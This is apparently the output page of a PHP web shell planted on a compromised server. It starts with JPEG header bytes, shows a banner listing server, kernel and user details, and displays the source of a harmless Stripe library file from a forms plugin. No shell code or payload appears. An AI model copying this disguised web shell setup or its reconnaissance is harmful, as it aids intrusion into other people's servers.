ÿØÿà JFIF ÿÛ „ ( %"1"%)+...383,7(-.-
![]() Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20 System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 User : apache ( 48) PHP Version : 7.4.20 Disable Function : NONE Directory : /var/www/html/form/content/plugins/halfdata-green-forms/libs/stripe/lib/ApiOperations/ |
<?php namespace Stripe\ApiOperations; /** * Trait for listable resources. Adds a `all()` static method to the class. * * This trait should only be applied to classes that derive from StripeObject. */ trait All { /** * @param array|null $params * @param array|string|null $opts * * @return \Stripe\Collection of ApiResources */ public static function all($params = null, $opts = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('get', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); if (!is_a($obj, 'Stripe\\Collection')) { $class = get_class($obj); $message = "Expected type \"Stripe\\Collection\", got \"$class\" instead"; throw new \Stripe\Error\Api($message); } $obj->setLastResponse($response); $obj->setRequestParams($params); return $obj; } }